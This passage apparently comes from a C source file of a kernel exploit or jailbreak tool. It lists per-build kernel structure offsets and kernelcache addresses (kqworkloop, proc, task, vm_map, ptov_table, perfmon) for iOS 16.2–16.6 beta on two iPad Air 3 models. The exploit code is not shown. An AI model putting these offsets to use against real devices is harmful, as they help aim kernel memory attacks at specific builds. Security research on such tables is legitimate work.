.kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a225178,\n                .kernelcache__gPhysBase = 0xfffffff00781bc60,\n                .kernelcache__gPhysSize = 0xfffffff00781bc60 + 8,\n                .kernelcache__gVirtBase = 0xfffffff007819e40,\n                .kernelcache__perfmon_devices = 0xfffffff00a260380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e873ac,\n                .kernelcache__ptov_table = 0xfffffff0077cf248,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a25f800,\n                .kernelcache__vm_pages = 0xfffffff0077cc080,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce208,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a25f7f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007ed9a44,\n            },\n\n            // iOS 16.3\n                {\n                .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20D47\",\n                .device_id = \"iPad11,2\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a22d178,\n                .kernelcache__gPhysBase = 0xfffffff00781bd48,\n                .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n                .kernelcache__gVirtBase = 0xfffffff007819f28,\n                .kernelcache__perfmon_devices = 0xfffffff00a268380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n                .kernelcache__ptov_table = 0xfffffff0077cf288,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n                .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n            },\n\n            // iOS 16.3.1\n                    {\n                .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20D67\",\n                .device_id = \"iPad11,2\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a22d178,\n                .kernelcache__gPhysBase = 0xfffffff00781bd48,\n                .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n                .kernelcache__gVirtBase = 0xfffffff007819f28,\n                .kernelcache__perfmon_devices = 0xfffffff00a268380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n                .kernelcache__ptov_table = 0xfffffff0077cf288,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n                .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n            },\n\n            // iOS 16.4\n                {\n                .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20E246\",\n                .device_id = \"iPad11,2\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a2e9208,\n                .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n                .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078f2178,\n                .kernelcache__perfmon_devices = 0xfffffff00a327500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n                .kernelcache__ptov_table = 0xfffffff0078a7160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n                .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n            },\n\n            // iOS 16.4.1\n                    {\n                .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20E252\",\n                .device_id = \"iPad11,2\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a2e9208,\n                .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n                .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078f2178,\n                .kernelcache__perfmon_devices = 0xfffffff00a327500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n                .kernelcache__ptov_table = 0xfffffff0078a7160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n                .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n            },\n\n            // iOS 16.5\n                {\n                .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20F66\",\n                .device_id = \"iPad11,2\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a2f1288,\n                .kernelcache__gPhysBase = 0xfffffff0078f80e0,\n                .kernelcache__gPhysSize = 0xfffffff0078f80e0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078f62b8,\n                .kernelcache__perfmon_devices = 0xfffffff00a32f500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007ea9c8c,\n                .kernelcache__ptov_table = 0xfffffff0078ab160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a32e990,\n                .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a32e988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ef8ad8,\n            },\n\n            // iOS 16.6b1\n                {\n                .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n                .build_version = \"20G5026e\",\n                .device_id = \"iPad11,2\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a23dab0,\n                .kernelcache__gPhysBase = 0xfffffff0078dc288,\n                .kernelcache__gPhysSize = 0xfffffff0078dc288 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078da440,\n                .kernelcache__perfmon_devices = 0xfffffff00a27d530,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e7e434,\n                .kernelcache__ptov_table = 0xfffffff00788f9a0,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a27c910,\n                .kernelcache__vm_pages = 0xfffffff00788c0f8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e950,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a27c908,\n                .kernelcache__vn_kqfilter = 0xfffffff007eccc44,\n            },\n\n\n        // iPad Air 3 Wifi //\n        // iOS 16.2\n            {\n                .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20C65\",\n                .device_id = \"iPad11,3\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a225178,\n                .kernelcache__gPhysBase = 0xfffffff00781bc60,\n                .kernelcache__gPhysSize = 0xfffffff00781bc60 + 8,\n                .kernelcache__gVirtBase = 0xfffffff007819e40,\n                .kernelcache__perfmon_devices = 0xfffffff00a260380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e873ac,\n                .kernelcache__ptov_table = 0xfffffff0077cf248,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a25f800,\n                .kernelcache__vm_pages = 0xfffffff0077cc080,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce208,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a25f7f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007ed9a44,\n            },\n\n            // iOS 16.3\n                {\n                .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20D47\",\n                .device_id = \"iPad11,3\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                